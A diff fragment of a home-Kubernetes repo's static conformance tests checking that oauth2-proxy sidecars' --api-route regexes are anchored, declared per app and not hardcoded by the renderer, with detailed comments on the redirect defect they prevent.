+            how = ("%s assertion(s) caught it" % m.group(1) if m
+                   else "the selftest aborted (caught, less cleanly)")
+            print("  killed  %-54s %s" % (name, how))
+    finally:
+        # A timeout (or any other exception) still propagates and fails the check, as it did
+        # serially; queued mutations are cancelled rather than run for nothing.
+        pool.shutdown(wait=True, cancel_futures=True)
+
+    print()
+    if problems:
+        print("MUTATION CHECK FAIL: %d of %d mutation(s) not proven"
+              % (len(problems), len(MUTATIONS)), file=sys.stderr)
+        for p in problems:
+            print("  FAIL %s" % p, file=sys.stderr)
+        return 1
+    print("MUTATION CHECK OK: all %d injected regressions were caught by --selftest "
+          "(the suite is falsifiable, not decorative)" % killed)
+    return 0
+
+
+if __name__ == "__main__":
+    raise SystemExit(main())

conformance/tests/l0-static/oauth2-proxy-api-routes-per-app/chainsaw-test.yaml

@@ -0,0 +1,134 @@
+# =============================================================================
+# L0 STATIC — `--api-route` is PER APP, ANCHORED, and DECLARED
+# Catalog: docs/14 L0 row ("Pre-apply, in CI") — runs WITHOUT a cluster.
+#
+# THE DEFECT THIS CLOSES. oauth2-proxy answers an unauthenticated request with a 302 to
+# Keycloak. Its built-in AJAX guard would send a 401 instead, but it fires only on an EXACT
+# `Accept: application/json`, which these apps' JavaScript does not consistently send. So a
+# browser XHR gets a 302, FOLLOWS IT INVISIBLY, has it satisfied silently by the live Keycloak
+# SSO session, and resolves 200 carrying the app's HTML where the JavaScript expected JSON — no
+# prompt, no console error, nothing logged as a failure. On a WRITE it is worse: a browser
+# following a 302 re-issues a POST as a GET and DROPS THE BODY, so the operator's change is
+# discarded and the UI reports success.
+#
+# MEASURED, twice, on two different apps and two different paths:
+#   jackett 2026-09-30 — on /api/ paths: 33 x 302 against 2 x 401, and 4 of 6 POSTs answered BY
+#           THE PROXY, never reaching Jackett (access-log upstream field `-`, not `/`). That is
+#           the operator's whole report: "GET works, most PUT/POST to add indexers fail,
+#           reloading never fixes it, and I am never re-prompted for login".
+#   radarr  2026-10-01, 23h after the cookie fix rolled (pod radarr-7d55cbffb9-42hmh, 0
+#           restarts) — 232 unauthenticated requests in the pod's whole lifetime and ALL 232 are
+#           the same call: `POST /signalr/messages/negotiate` from a browser UA, 302, upstream
+#           `-`. A left-open tab whose session the cookie rename orphaned, polling SignalR
+#           forever, silently redirected every time, NEVER re-prompting. The reported symptom,
+#           still running in production, on a service nobody was watching.
+#
+# WHY IT CANNOT BE A RENDERER CONSTANT — AND WHY THAT NEEDS A GATE. The path shape belongs to
+# the APP, not to the forward-auth pattern: radarr's broken path is `/signalr/`, jackett's is
+# `/api/`, and PIHOLE SERVES NO `/api/` AT ALL. One function renders all five sidecars
+# (catalog/render.py::_oauth2_sidecar_container), so the cheap fix is a constant — and a
+# constant applies one app's measurement to four apps nobody measured. The gate that already
+# exists cannot see that mistake: `ci/render-golden.sh` compares the render to the goldens, and
+# a constant plus regenerated goldens AGREE WITH EACH OTHER while both being wrong. Hence
+# assertion (2) below, which compares the rendered flag against each service's OWN
+# ServiceDefinition rather than against the renderer's output.
+#
+# WHY BREADTH IS THE DANGEROUS DIRECTION, AND IT IS NOT SYMMETRIC. A MISSING --api-route is a
+# silent 302 — bad, invisible, recoverable. A TOO BROAD one answers a plain PAGE LOAD with 401:
+# a logged-out operator gets a bare error page and is NEVER OFFERED A SIGN-IN, so the service
+# looks permanently broken and no reload recovers it. That is a worse outcome than the defect
+# the flag fixes, which is why the anchoring rule is asserted on three independent surfaces
+# (schema items.pattern, the renderer, and this check) and why assertion (5) fails if they drift
+# apart — if they do, the loosest one wins silently.
+#
+# GIVEN every oauth2-proxy sidecar this repo DEPLOYS (a container in any manifest at any depth:
+#       the rendered sidecars in apps/, crafty's hand-authored one in platform/), the
+#       ServiceDefinitions in catalog/ that generate five of them, and the renderer itself,
+# WHEN  each sidecar's `--api-route` values are collected (the flag is REPEATABLE, so all of
+#       them, in order) and each onboarded forward-auth service is paired with its golden,
+# THEN  (1) every rendered --api-route is anchored at `^/` and continues with literal path
+#           characters — `^/`, `^/.*`, `.*`, an unanchored `/api/` and any alternation FAIL;
+#       (2) every onboarded forward-auth service's rendered route list EQUALS its own
+#           ServiceDefinition's `auth.apiRoutes`, in order — which fails both a hand-edited
+#           golden and a renderer constant, neither of which render-golden can see;
+#       (3) BOTH cases are live in this tree: at least one service declares routes and at least
+#           one declares none and renders none (the pihole case), so neither path is an
+#           unexercised seam;
+#       (4) `_oauth2_sidecar_container()` reads `auth.apiRoutes` and contains NO literal path
+#           regex — a constant is the defect, back in the one place that reintroduces it
+#           fleet-wide in a single edit;
+#       (5) the anchoring pattern in the renderer and in the schema are the SAME pattern this
+#           check enforces;
+#       (6) the SHIPPED renderer, run as a subprocess on synthetic ServiceDefinitions, emits
+#           exactly the declared routes in order, emits NOTHING for a service declaring none or
+#           an empty list, and REFUSES all five breadth shapes.
+#
+# WHY ALSO A SCHEMA PATTERN, GIVEN THIS CHECK. The schema is the only surface that rejects a
+# too-broad regex WHERE A HUMAN TYPES IT — `ci/l0.sh` validates `catalog/*.yaml` against it on
+# every gate run, so the operator is told at the authoring surface rather than finding out from
+# a 401 on a page load. The renderer's own guard is there because `render-golden` runs even on a
+# gate invocation where the schema stage skipped. This check is there because neither of those
+# can see a renderer constant. Three surfaces, three different blind spots.
+#
+# WHY THIS IS A SIBLING AND NOT PART OF oauth2-proxy-cookie-names-distinct. That check's subject
+# is cookie IDENTITY: its inputs are names and domains, its failure mode is mutual session
+# eviction, its register is the shared proxy's claim on the default name. `--api-route` shares
+# none of those. Bundling them would make that check's name a lie and couple two unrelated
+# ratchets, so a future api-route decision could only be expressed by weakening a COOKIE check —
+# the same discipline that check's own header argues for, applied to this change.
+#
+# WHAT THIS DOES NOT ESTABLISH — read with the handoff entry, not instead of it:
+#   - That a 401 FIXES anything in a browser. No browser round-trip has been made, by anyone,
+#     for this flag. The 302/401 split, the dropped POST bodies and the orphaned SignalR poll
+#     are all read from access logs; the repair is reasoned from HTTP semantics.
+#   - That the regexes are RIGHT for these two apps beyond the measured paths. `^/api/` on
+#     radarr is justified by a measurement of radarr taken on its PRE-FIX pod by another
+#     engineer (decisions/2026-09-30-jackett-oauth2-proxy-session.md: 62 x /api/v3/command,
+#     46 x /api/v3/queue/details); the current pod has logged zero /api/ traffic.
+#   - Anything about sonarr, qbittorrent or pihole. Their logs were read (2026-10-01) and
+#     contain ZERO unauthenticated requests — no traffic, which is not the same as no need.
+#     Assertion (3) therefore proves the "declares none" PATH works; it does not claim those
+#     three apps are correctly configured.
+#   - That the LIVE pods carry what the tree says. git is not the cluster (CLAUDE.md §2b).
+#   - It does not read ../home-network-k3s. The spec is read-only (R-TEST-06).
+# =============================================================================
+apiVersion: chainsaw.kyverno.io/v1alpha1
+kind: Test
+metadata:
+  name: oauth2-proxy-api-routes-per-app
+  labels:
+    conformance.home.k3s/R-IDP-02: "true"
+  annotations:
+    conformance.home.k3s/requirements: "R-IDP-02"
+    conformance.home.k3s/layer: "L0"
+    # WHOLE-REPO SCOPE — the subject spans apps/wave-0, apps/wave-1, platform/crafty, every
+    # ServiceDefinition in catalog/, the renderer that generates five of the sidecars, and the
+    # ServiceDefinition schema. No single requirement path-maps to that set, and the renderer
+    # maps to no identity requirement at all, so a requirement-scoped selection would skip this
+    # check on precisely the change that can reintroduce the defect fleet-wide in one edit.
+    conformance.home.k3s/scope: "whole-repo"
+    conformance.home.k3s/safety-critical: "false"
+    conformance.home.k3s/executable: "true"
+    conformance.home.k3s/intent: >-
+      An unauthenticated XHR is answered 401, not 302, on exactly the paths each app was
+      MEASURED to serve as a machine API: every rendered --api-route is anchored at ^/ and
+      continues with literal path characters, every onboarded forward-auth service's rendered
+      routes equal its own auth.apiRoutes in order (so neither a hand-edited golden nor a
+      renderer constant can pass), an app declaring none renders none, the anchoring pattern is
+      the same in the schema and the renderer, and the shipped renderer is proven on synthetic
+      ServiceDefinitions in both directions — including refusing the five breadth shapes that
+      would answer a page load with 401.
+spec:
+  steps:
+    - name: assert-api-route-is-per-app-anchored-and-declared
+      description: >-
+        Inventory every oauth2-proxy sidecar's repeatable --api-route values, assert each is an
+        anchored path regex, cross-check each onboarded forward-auth service's rendered routes
+        against its own ServiceDefinition, require both the declares-routes and the
+        declares-none cases to be live in the tree, assert the renderer derives from
+        auth.apiRoutes and hardcodes no path regex, assert the schema and renderer share this
+        check's anchoring pattern, and prove the shipped renderer on synthetic
+        ServiceDefinitions in both directions.
+      try:
+        - script:
+            content: bash ./check.sh

conformance/tests/l0-static/oauth2-proxy-api-routes-per-app/check.sh

@@ -0,0 +1,433 @@
+#!/usr/bin/env bash
+# =============================================================================
+# L0 STATIC CHECK — `--api-route` is PER APP, ANCHORED, and DECLARED.
+# See chainsaw-test.yaml's header for WHY this exists and what it measured. In one paragraph:
+#
+# oauth2-proxy answers an unauthenticated request with a 302 to Keycloak. A browser XHR follows
+# that redirect invisibly, the live SSO session satisfies it silently, and the call resolves 200
+# carrying the app's HTML where its JavaScript expected JSON — and a POST following a 302 is
+# re-issued as a GET with its BODY DROPPED. `--api-route=<regex>` makes matching paths answer
+# 401 instead. The flag is right for jackett (`/api/`) and radarr (`/signalr/`, `/api/`) and
+# WRONG for pihole, which serves no `/api/` at all — so it cannot be a renderer constant, and
+# the point of this check is that it never becomes one again.
+#
+# The breadth direction is the dangerous one and it is NOT symmetric with the bug. A missing
+# `--api-route` is a silent 302; a TOO BROAD one answers a plain PAGE LOAD with 401, so a
+# logged-out operator gets a bare error page and is never offered a sign-in — the service looks
+# permanently broken. That is a worse outcome than the defect, which is why the anchoring rule
+# is asserted here as well as in the schema.
+#
+# Exit 0 = all assertions pass. Exit 1 = a failure. Exit 3 (honest SKIP, which the runner turns
+# into rc 3 = UNWIRED, never green, because this test declares the whole-repo scope) only if the
+# tree contains no forward-auth oauth2-proxy sidecar at all — genuinely nothing to audit.
+# =============================================================================
+set -euo pipefail
+DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+ROOT="$(cd "${DIR}/../../../.." && pwd)"        # repo root
+PYTHON="${PYTHON:-python3}"
+
+# Honest SKIP (never green for a scope-declaring test) if the forward-auth pattern has left the
+# repo. Anchored on `image:` for the same reason as the sibling cookie check: a bare
+# `oauth2-proxy/oauth2-proxy:` also matches platform/oauth2-proxy/forward-auth-cec.yaml's Envoy
+# cluster reference (`serviceName: oauth2-proxy/oauth2-proxy:80`), which runs no proxy.
+if ! grep -rlE 'image:[[:space:]]*[^[:space:]]*oauth2-proxy' \
+       "${ROOT}/apps" "${ROOT}/platform" >/dev/null 2>&1; then
+  echo "check SKIPPED: no oauth2-proxy container image found under apps/ or platform/ — the forward-auth sidecar pattern is gone and there is nothing to audit" >&2
+  exit 3
+fi
+
+cd "${ROOT}"
+"${PYTHON}" - "${ROOT}" <<'PY'
+"""Static audit: --api-route is per-app, anchored, and declared in the ServiceDefinition.
+
+PyYAML (the same dependency as catalog/render.py and the sibling l0-static checks) rather than
+line-based parsing: a container's args live in a nested structure, and a line-based reader of
+one is precisely the approximate parser that silently stops matching.
+"""
+from __future__ import annotations
+
+import json
+import re
+import subprocess
+import sys
+import tempfile
+from pathlib import Path
+
+try:
+    import yaml
+except ImportError:                                  # pragma: no cover
+    print("check FAIL: PyYAML is required (same dependency as catalog/render.py)",
+          file=sys.stderr)
+    raise SystemExit(1)
+
+ROOT = Path(sys.argv[1])
+sys.dont_write_bytecode = True          # keep __pycache__ out of the tracked tree
+
+FAILURES: list[str] = []
+CHECKS = 0
+
+
+def check(cond, msg):
+    global CHECKS
+    CHECKS += 1
+    if not cond:
+        FAILURES.append(msg)
+
+
+# THE BREADTH RATCHET, stated once and asserted against three independent surfaces below (the
+# rendered tree, the authored catalog, the shipped renderer). Each entry must be anchored at
+# `^/` and continue with LITERAL path characters. This rejects:
+#   `^/`      and `^/.*`   — match every page load, so the UI answers 401 and never signs in
+#   `/api/`               — unanchored; oauth2-proxy would match it mid-path
+#   `.*`                  — everything
+#   `^/api/|^/`           — alternation smuggles breadth past a prefix-only reading
+# Alternation is REFUSED rather than supported because `--api-route` is repeatable: one entry
+# per route costs nothing and each entry stays readable. Kept byte-identical to
+# catalog/render.py's OAUTH2_API_ROUTE_PATTERN and to the schema's items.pattern; assertion (5)
+# below fails if they drift apart.
+ANCHORED = re.compile(r"^\^/[A-Za-z0-9._~/-]+(\.\*|\$)?$")
+SCHEMA_PATTERN = r"^\^/[A-Za-z0-9._~/-]+(\.\*|\$)?$"
+
+
+def read(p: Path) -> str:
+    try:
+        return p.read_text()
+    except (OSError, UnicodeDecodeError):
+        return ""
+
+
+def is_test_fixture(p: Path) -> bool:
+    """conformance/tests/**/{golden,fixtures}/** is assertion DATA, not deployed manifests."""
+    parts = p.parts
+    return "conformance" in parts and ("golden" in parts or "fixtures" in parts)
+
+
+def iter_containers(node):
+    """Yield every container mapping under any `containers`/`initContainers` list, at any depth.
+
+    Depth-agnostic on purpose: the same container shape appears under a Deployment, a DaemonSet,
+    a CronJob's jobTemplate or a bare Pod, and a reader that hardcoded one path would silently
+    stop seeing an instance the day one moved.
+    """
+    if isinstance(node, dict):
+        for key, val in node.items():
+            if key in ("containers", "initContainers") and isinstance(val, list):
+                for c in val:
+                    if isinstance(c, dict):
+                        yield c
+            else:
+                yield from iter_containers(val)
+    elif isinstance(node, list):
+        for item in node:
+            yield from iter_containers(item)
+
+
+def api_routes_of(args: list) -> list:
+    """Every `--api-route=<v>` / `--api-route <v>` value, in order. The flag is REPEATABLE, so
+    this must collect ALL of them — a single-value reader would audit the first and wave the
+    rest through, which is the shape of reader bug this file's header warns about."""
+    out = []
+    for i, a in enumerate(args):
+        if not isinstance(a, str):
+            continue
+        if a.startswith("--api-route="):
+            out.append(a.split("=", 1)[1])
+        elif a == "--api-route" and i + 1 < len(args) and isinstance(args[i + 1], str):
+            out.append(args[i + 1])
+    return out
+
+
+# ============================================================ (0) INVENTORY: THE RENDERED TREE
+# Every oauth2-proxy container this repo DEPLOYS, keyed by file + owner, with its api-routes.
+rendered: dict[str, list] = {}
+for p in sorted(ROOT.rglob("*.yaml")):
+    relparts = p.relative_to(ROOT).parent.parts
+    # NESTED WORKTREES: skip dot-DIRECTORIES (.git, .claude) while still matching dot-FILES such
+    # as .sops.yaml. .claude/worktrees/agent-*/ holds full repo copies for isolated agent runs,
+    # so a bare rglob audits up to 18 duplicates of every file — which both invents FAILs and,
+    # worse, can satisfy a "something declares X" check from a copy rather than from real source.
+    if any(part.startswith(".") for part in relparts) or is_test_fixture(p) or ".sops." in p.name:
+        continue
+    txt = read(p)
+    if "oauth2-proxy" not in txt:
+        continue
+    rel = str(p.relative_to(ROOT))
+    try:
+        docs = [d for d in yaml.safe_load_all(txt) if isinstance(d, dict)]
+    except yaml.YAMLError as exc:
+        check(False, f"{rel} is not parseable YAML ({exc}) — any oauth2-proxy instance in it "
+                     f"went unaudited, so a too-broad --api-route could be hiding there")
+        continue
+    for d in docs:
+        for c in iter_containers(d):
+            image = str(c.get("image") or "")
+            name = str(c.get("name") or "")
+            if "oauth2-proxy" not in image and name != "oauth2-proxy":
+                continue
+            owner = (d.get("metadata") or {}).get("name") or "?"
+            args = list(c.get("args") or []) + list(c.get("command") or [])
+            rendered[f"{rel}:{owner}/{name or 'oauth2-proxy'}"] = api_routes_of(args)
+
+check(len(rendered) >= 5,
+      f"only {len(rendered)} oauth2-proxy container(s) parsed out of the tree. This repo "
+      f"deploys more than that (five rendered sidecars plus crafty's hand-authored one), so the "
+      f"inventory has stopped seeing instances and every assertion below would pass vacuously "
+      f"while an unanchored --api-route went unaudited")
+
+# ============================================================ (1) EVERY ROUTE IS ANCHORED
+for key, routes in sorted(rendered.items()):
+    for r in routes:
+        check(bool(ANCHORED.match(r)),
+              f"{key} declares --api-route={r!r}, which is not an anchored path regex.\n"
+              f"       WHY THIS IS WORSE THAN THE BUG IT FIXES: --api-route makes matching paths "
+              f"answer 401 instead of 302ing to Keycloak. A regex that also matches a path a "
+              f"BROWSER NAVIGATES to — `^/`, `^/.*`, `.*`, or an alternation that reaches the "
+              f"UI root — answers a plain PAGE LOAD with 401. A logged-out operator then sees a "
+              f"bare error page and is NEVER OFFERED A SIGN-IN: the service looks permanently "
+              f"broken rather than merely unauthenticated, and no reload can recover it.\n"
+              f"       FIX: anchor it at '^/' followed by literal path characters "
+              f"(e.g. '^/api/', '^/signalr/', '^/api/v3/.*'), one entry per route — the flag is "
+              f"repeatable, so alternation is never needed. For a service rendered from catalog/, "
+              f"do NOT hand-edit the golden: declare auth.apiRoutes and re-render "
+              f"(ci/render-golden.sh's header has the canonical command)")
+
+# ============================================================ (2) DERIVED FROM THE CATALOG
+# The five rendered sidecars are OUTPUTS. Auditing only them would let someone "fix" a golden by
+# hand (reverted by the next render) or make the renderer emit a CONSTANT and regenerate every
+# golden to match — which render-golden cannot see, because render and golden would agree.
+# So: every onboarded forward-auth service's rendered route list must EQUAL its own
+# ServiceDefinition's auth.apiRoutes, in order.
+catalog_dir = ROOT / "catalog"
+declared: dict[str, list] = {}
+forward_auth: list[str] = []
+for sd_path in sorted(catalog_dir.glob("*.yaml")):
+    try:
+        sd = yaml.safe_load(read(sd_path))
+    except yaml.YAMLError as exc:
+        check(False, f"catalog/{sd_path.name} is not parseable YAML ({exc})")
+        continue
+    if not isinstance(sd, dict) or not sd.get("name"):
+        continue
+    auth = sd.get("auth") or {}
+    routes = auth.get("apiRoutes") or []
+    declared[sd["name"]] = list(routes)
+    if auth.get("mode") == "forward-auth" and (sd.get("ingressRoutes") or []):
+        forward_auth.append(sd["name"])
+    for r in routes:
+        check(bool(ANCHORED.match(str(r))),
+              f"catalog/{sd_path.name}: auth.apiRoutes entry {r!r} is not anchored at '^/' "
+              f"followed by literal path characters. See assertion (1) for why breadth here is "
+              f"the dangerous direction. The schema rejects this too (items.pattern); this "
+              f"assertion exists because the schema stage can be SKIPPED and this one cannot")
+    if routes:
+        check(auth.get("mode") == "forward-auth",
+              f"catalog/{sd_path.name} declares auth.apiRoutes with auth.mode="
+              f"{auth.get('mode')!r}. --api-route renders onto the per-app oauth2-proxy sidecar, "
+              f"and no sidecar is rendered for oidc/native/none — so this is a SILENT NO-OP: the "
+              f"operator believes the app's XHRs now answer 401 and nothing changed")
+
+matched = 0
+for name in sorted(forward_auth):
+    golden = next((p for p in sorted(ROOT.glob(f"apps/wave-*/{name}.yaml"))), None)
+    if golden is None:
+        continue                      # catalog service not onboarded to apps/ yet — no golden
+    key = next((k for k in rendered if k.startswith(str(golden.relative_to(ROOT)) + ":")), None)
+    check(key is not None,
+          f"apps/{golden.name} is the golden for forward-auth service {name!r} but no "
+          f"oauth2-proxy container was parsed out of it. Its --api-route configuration is "
+          f"UNAUDITED")
+    if key is None:
+        continue
+    matched += 1
+    check(rendered[key] == declared.get(name, []),
+          f"{name}: the rendered sidecar declares --api-route {rendered[key]!r} but "
+          f"catalog/{name}.yaml declares auth.apiRoutes {declared.get(name, [])!r}.\n"
+          f"       These must be IDENTICAL and in order. A mismatch means one of two things, "
+          f"both bad: a golden was hand-edited (the next re-render silently reverts it), or the "
+          f"renderer is emitting --api-route from somewhere other than this service's own "
+          f"ServiceDefinition — i.e. a constant or a per-service table. A constant is the defect "
+          f"this field exists to prevent: it applies ONE app's path shape to all five, and "
+          f"pihole serves no /api/ at all, so it would answer pihole's page loads with 401. "
+          f"render-golden cannot catch that, because render and golden would agree with each "
+          f"other while both being wrong")
+
+check(matched >= 4,
+      f"only {matched} onboarded forward-auth service(s) were cross-checked against their "
+      f"ServiceDefinition. This repo onboards five, so the catalog<->golden pairing has stopped "
+      f"resolving and assertion (2) is passing vacuously")
+
+# ============================================================ (3) BOTH CASES EXIST
+# Once the tree is consistent, (2) is satisfied by any pairing — including one where NOTHING
+# declares a route (vacuous) or one where EVERYTHING does (so the "renders nothing" path is
+# never exercised). Both halves are asserted to be live, because the per-app field only earns
+# its complexity if both outcomes actually occur in this tree.
+with_routes = [n for n in forward_auth if declared.get(n)]
+without_routes = [n for n in forward_auth if not declared.get(n)]
+check(bool(with_routes),
+      "no onboarded forward-auth service declares auth.apiRoutes, so assertion (2) cannot "
+      "distinguish a working renderer from one that emits the flag nowhere. If the flag is "
+      "genuinely not needed anywhere, delete the field rather than leaving an unexercised seam")
+check(bool(without_routes),
+      "EVERY onboarded forward-auth service declares auth.apiRoutes, so nothing in this tree "
+      "exercises the 'declares none => renders no flag' path. That path is the whole reason the "
+      "field is per-app: pihole serves no /api/, and a renderer-wide default would answer its "
+      "page loads with 401")
+for name in sorted(without_routes):
+    golden = next((p for p in sorted(ROOT.glob(f"apps/wave-*/{name}.yaml"))), None)
+    if golden is None:
+        continue
+    key = next((k for k in rendered if k.startswith(str(golden.relative_to(ROOT)) + ":")), None)
+    if key is None:
+        continue
+    check(rendered[key] == [],
+          f"{name} declares NO auth.apiRoutes but its rendered sidecar carries "
+          f"--api-route {rendered[key]!r}. An app that declares nothing must render NOTHING")
+
+# ============================================================ (4) THE RENDERER DERIVES
+render_py = ROOT / "catalog" / "render.py"
+check(render_py.is_file(),
+      "catalog/render.py is missing — the generator of five of these sidecars cannot be audited")
+if render_py.is_file():
+    src = read(render_py)
+    m = re.search(r"def _oauth2_sidecar_container\(.*?\n(?=\n*def |\n*# =)", src, re.S)
+    fn = m.group(0) if m else ""
+    check(bool(fn),
+          "could not locate _oauth2_sidecar_container() in catalog/render.py. It was renamed or "
+          "removed, so assertion (4) cannot run and the generator is unaudited")
+    if fn:
+        check("--api-route=" in fn,
+              "catalog/render.py's _oauth2_sidecar_container() emits no --api-route at all, so "
+              "every forward-auth app's XHRs are answered with a 302 the browser follows "
+              "invisibly — measured as 33x302-vs-2x401 on jackett and 232x302 on radarr, with "
+              "POST bodies dropped. auth.apiRoutes would then be a field with no consumer")
+        check(not re.search(r'--api-route=\^/[A-Za-z0-9]', fn),
+              "catalog/render.py hardcodes a literal path regex into --api-route. Whatever path "
+              "that is, EVERY forward-auth app now renders it: one app's path shape applied to "
+              "five. pihole serves no /api/, so a constant answers its page loads with 401 and "
+              "the service looks permanently broken to a logged-out operator. Render the routes "
+              "declared in each service's own auth.apiRoutes instead")
+        check("apiRoutes" in fn,
+              "catalog/render.py's _oauth2_sidecar_container() does not read auth.apiRoutes, so "
+              "the per-app declaration has no effect on what is rendered")
+
+# ============================================================ (5) ONE PATTERN, THREE SURFACES
+# The ratchet is written in three places (this check, the renderer, the schema) because each
+# guards a surface the others cannot. If they drift apart, the loosest one wins silently.
+if render_py.is_file():
+    # The renderer writes the pattern as a raw string literal, so the source text contains it
+    # verbatim. A substring test is deliberate: it also catches a rename of the constant.
+    check(SCHEMA_PATTERN in read(render_py),
+          f"catalog/render.py no longer contains the anchoring pattern {SCHEMA_PATTERN!r} that "
+          f"this check and the schema enforce. Three surfaces guard --api-route breadth (the "
+          f"authoring surface via the schema, the render via the renderer, the tree via this "
+          f"check); if they drift apart the loosest wins and the ratchet is decorative")
+
+# The schema's pattern is read from the PARSED JSON, not from the file text: in the file its
+# backslashes are JSON-escaped, so a substring test against the raw bytes would compare the
+# wrong string and pass or fail for the wrong reason.
+schema_file = ROOT / "schemas" / "servicedefinition.schema.json"
+schema_pat = None
+if schema_file.is_file():
+    try:
+        schema_pat = (((((json.loads(read(schema_file)).get("properties") or {})
+                         .get("auth") or {}).get("properties") or {})
+                       .get("apiRoutes") or {}).get("items") or {}).get("pattern")
+    except (ValueError, AttributeError) as exc:
+        check(False, f"schemas/servicedefinition.schema.json could not be read as JSON ({exc}) — "
+                     f"the schema stage that rejects a too-broad --api-route cannot be audited")
+check(schema_pat == SCHEMA_PATTERN,
+      f"schemas/servicedefinition.schema.json constrains auth.apiRoutes items with "
+      f"{schema_pat!r}, not {SCHEMA_PATTERN!r}. The schema is the only surface that rejects a "
+      f"too-broad regex WHERE A HUMAN TYPES IT (ci/l0.sh validates catalog/*.yaml on every gate "
+      f"run); if it is absent or looser than the renderer's, the operator finds out from a 401 "
+      f"on a page load")
+
+# ============================================================ (6) PROVE THE SHIPPED RENDERER
+# Once the tree is compliant, (1)-(3) have nothing left to catch and their passing is evidence
+# of nothing. This runs the SHIPPED renderer as a SUBPROCESS on synthetic ServiceDefinitions and
+# asserts the behaviour directly, in BOTH directions, so the guard stays falsifiable.
+def _sd(name: str, port: int, routes) -> str:
+    auth = {"mode": "forward-auth", "groups": ["platform-admins"]}
+    if routes is not None:
+        auth["apiRoutes"] = routes
+    return yaml.safe_dump({
+        "name": name,
+        "kind": "container",
+        "source": {"image": "example/app:1"},
+        "exposure": "internal",
+        "ingressRoutes": [{"host": f"{name}.home.keithjackson.dev", "port": port}],
+        "auth": auth,
+    }, sort_keys=False)
+
+
+def _render(name: str, port: int, routes):
+    with tempfile.TemporaryDirectory() as td:
+        f = Path(td) / f"{name}.yaml"
+        f.write_text(_sd(name, port, routes))
+        return subprocess.run([sys.executable, str(render_py), str(f)],
+                              capture_output=True, text=True)
+
+
+def _sidecar_args(rendered_yaml: str) -> list:
+    for doc in yaml.safe_load_all(rendered_yaml):
+        if not isinstance(doc, dict) or doc.get("kind") != "Deployment":
+            continue
+        for c in iter_containers(doc):
+            if c.get("name") == "oauth2-proxy":
+                return list(c.get("args") or [])
+    return []
+
+
+if render_py.is_file():
+    # (6a) DECLARED ROUTES RENDER, IN ORDER, AND NOTHING ELSE DOES.
+    proc = _render("apirtdecl", 8121, ["^/api/", "^/signalr/"])
+    check(proc.returncode == 0,
+          f"the shipped catalog/render.py failed on a synthetic forward-auth fixture declaring "
+          f"two apiRoutes: rc={proc.returncode} {proc.stderr.strip()[:300]}")
+    if proc.returncode == 0:
+        got = api_routes_of(_sidecar_args(proc.stdout))
+        check(got == ["^/api/", "^/signalr/"],
+              f"the shipped renderer turned auth.apiRoutes ['^/api/', '^/signalr/'] into "
+              f"--api-route {got!r}. It must emit one repeatable --api-route per entry, in "
+              f"declared order. Note the flag is SINGULAR: --api-routes does not exist in "
+              f"oauth2-proxy v7.8.1 and the proxy REFUSES TO START with it, so a plural would "
+              f"crashloop every sidecar it rendered")
+
+    # (6b) AN APP THAT DECLARES NOTHING RENDERS NOTHING. The pihole case, proven on the
+    #      generator rather than inferred from one committed golden.
+    for label, routes in (("absent", None), ("empty", [])):
+        proc = _render(f"apirtnone{label}", 8122, routes)
+        check(proc.returncode == 0,
+              f"the shipped renderer failed on a synthetic forward-auth fixture with apiRoutes "
+              f"{label}: rc={proc.returncode} {proc.stderr.strip()[:300]}")
+        if proc.returncode == 0:
+            got = api_routes_of(_sidecar_args(proc.stdout))
+            check(got == [],
+                  f"the shipped renderer emitted --api-route {got!r} for a synthetic service "
+                  f"whose auth.apiRoutes is {label}. A newly-onboarded forward-auth app must "
+                  f"render NO --api-route: pihole serves no /api/, so a default would answer "
+                  f"its page loads with 401 and the service would look permanently broken to a "
+                  f"logged-out operator — a worse failure than the 302 bug the flag fixes")
+
+    # (6c) THE RENDERER REFUSES BREADTH. Asserted on the generator because render-golden runs
+    #      on every gate invocation while the schema stage can be skipped.
+    for bad in ("^/", "^/.*", ".*", "/api/", "^/api/|^/"):
+        proc = _render("apirtbad", 8123, [bad])
+        check(proc.returncode != 0,
+              f"the shipped renderer ACCEPTED auth.apiRoutes {bad!r} and rendered a sidecar. "
+              f"That regex matches paths a browser NAVIGATES to, so a plain page load answers "
+              f"401 and the operator is never offered a sign-in. The renderer must refuse it, "
+              f"so a breadth mistake fails render-golden even on a run where the schema stage "
+              f"did not execute")
+
+# ============================================================ VERDICT
+inv = " | ".join(f"{k} -> {v or '(none)'}" for k, v in sorted(rendered.items()))
+print(f"oauth2-proxy sidecars audited ({len(rendered)}): {inv}")
+if FAILURES:
+    print(f"\nCHECK FAIL (oauth2-proxy-api-routes-per-app): {len(FAILURES)} failed, "
+          f"{CHECKS - len(FAILURES)} passed", file=sys.stderr)
+    for f in FAILURES:
+        print(f"  FAIL {f}", file=sys.stderr)
+    raise SystemExit(1)
+print(f"check OK: oauth2-proxy-api-routes-per-app — {CHECKS} assertions (R-IDP-02)")
+PY

conformance/tests/l0-static/oauth2-proxy-cookie-names-distinct/chainsaw-test.yaml

@@ -0,0 +1,152 @@
+# =============================================================================
+# L0 STATIC — no two oauth2-proxy instances can share a browser cookie
+# Catalog: docs/14 L0 row ("Pre-apply, in CI") — runs WITHOUT a cluster.
+#
+# THE DEFECT THIS CLOSES. Every oauth2-proxy on this platform is an INDEPENDENT instance with
+# its OWN `cookie-secret`: five per-app reverse-proxy sidecars (jackett, pihole, qbittorrent,
+# radarr, sonarr), crafty's, and the SHARED forward-auth proxy. Measured on prod 2026-09-30:
+# seven `*-oauth2-proxy` Secrets, SEVEN DISTINCT cookie-secret values — so no instance can
+# decrypt any other's cookie.
+#
+# They were all emitting oauth2-proxy's DEFAULT cookie names (`_oauth2_proxy` and
+# `_oauth2_proxy_csrf`), scoped to `.${BASE_DOMAIN}`. A cookie is keyed by (name, domain, path),
+# so the browser kept ONE pair for ALL of them. Whichever proxy authenticated last OVERWROTE
+# every other's session; the loser logged `No valid authentication in request`, bounced to
+# Keycloak, and — the SSO session still being live — was redirected straight back and overwrote
+# the cookie again. Six live instances, one cookie, mutual eviction.
+#
+# WHY IT IS THE WORST KIND OF BUG. The symptom is "I signed into Keycloak but I'm still not
+# signed in", which points the investigator at Keycloak, where nothing is wrong. It is
+# INTERMITTENT — it only appears once a browser has visited a SECOND gated app, so the obvious
+# single-app reproduction succeeds — and it is SILENT: every Deployment stays Ready, every
+# Kustomization stays Ready, the proxy's own log line names an authentication failure rather
+# than a collision. It went unnoticed across five services for the whole life of the pattern,
+# and was found only as a side effect of investigating something else (2026-09-29, crafty).
+#
